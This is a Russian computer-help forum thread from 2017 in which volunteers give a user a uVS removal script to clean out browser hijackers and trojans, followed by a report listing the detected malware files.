delref HTTP://WWW.INITIALPAGE123.COM/?Z=7233E88234B599DFDD48B60GDZ4T6WFCATBBEM1M3T&FROM=AMZ&UID=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&TYPE=HP
delref HTTP://WWW.OURLUCKYSITES.COM/SEARCH/?TYPE=DS&TS=1495786961&Z=EE78C99740C6E90133C9068G8ZATBWDM8BEQAT2Q1G&FROM=CHE0812&UID=HGSTXHTS541010A9E680_JA100AD9017ATK017ATKX&Q={SEARCHTERMS}
del %SystemDrive%\USERS\DEFAULTUSER0\APPDATA\ROAMING\MICROSOFT\INTERNET EXPLORER\QUICK LAUNCH\LAUNCH INTERNET EXPLORER BROWSER.LNK
delref %SystemDrive%\PROGRAM FILES (X86)\HIPPIG\APPLICATION\CHROME.EXE
delref %SystemDrive%\USERS\W10NA\APPDATA\ROAMING\REERUSHBONODOM\CKOQGHGRAQISY.DLL
deltmp
apply
restart

Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.

**Atalina75** · 07.06.2017, 09:27

выполнила

**Vvvyg** · 07.06.2017, 19:14

Что с проблемой?

**Atalina75** · 08.06.2017, 09:08

установила с официальных ресурсов Мозиллу и Хром. пока работает нормально) сегодня вечером отпишусь. спасибо вам большое! при наличии новых проблем (не дай Бог) буду обращаться к вам)

**CyberHelper** · 08.06.2017, 09:18

Статистика проведенного лечения:

Получено карантинов: 1
Обработано файлов: 12
В ходе лечения обнаружены вредоносные программы:
1. c:\program files (x86)\cllathgiy update\local64spl.dll - Trojan.Win64.Eroyee.ajh
2. c:\users\w10na\appdata\local\background_fault\bf.d ll - Trojan-Downloader.Win32.Agent.sillol
3. c:\users\w10na\appdata\local\glory\glory.dll - Trojan.Win64.Snara.ad
4. c:\users\w10na\appdata\local\snare\snare.dll - Trojan.Win64.Snara.w
5. c:\users\w10na\appdata\local\terana\terana.dll - UDS:DangerousObject.Multi.Generic
6. c:\users\w10na\appdata\roaming\winsapsvc\winsap.dl l - not-a-virus:AdWare.Win32.ELEX.bus

Помогите пожалуйста! Поймала вирус! не могу работать в браузерах! [UDS:DangerousObject.Multi.Generic, Trojan.Win64.Eroyee.ajh ] (заявка № 212672)

Опции темы